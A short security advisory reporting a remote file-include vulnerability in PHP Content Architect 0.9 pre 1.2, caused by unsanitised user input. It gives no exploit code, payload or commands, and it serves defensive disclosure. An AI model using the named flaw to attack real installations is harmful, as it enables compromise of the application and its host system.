PHP Content Architect is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

PHP Content Architect 0.9 pre 1.2 is vulnerable; other versions may also be affected.
